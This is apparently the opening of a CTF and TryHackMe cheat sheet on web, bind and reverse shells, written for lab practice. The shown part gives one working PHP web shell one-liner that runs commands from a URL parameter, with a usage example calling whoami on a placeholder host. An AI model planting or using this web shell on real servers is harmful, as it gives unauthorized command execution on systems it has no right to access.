When dealing with TryHackMe & CTFs, having a reliable cheat sheet of shells and reverse shells is an absolute necessity for your CTF toolchain, post-exploitation, and initial access phases.
When you find a vulnerability (like RCE, file upload, or an exploit that allows code execution), you need a payload to translate that vulnerability into interactive access. Here is a breakdown of the most common web shells, bind shells, and reverse shells used to gain command execution on a target box.
Web shells are short scripts uploaded to a compromised web server that allow you to execute system commands via HTTP requests.
- PHP:
<?php system($_GET['cmd']); ?> - Usage: Browse to
http://target.com/shell.php?cmd=whoami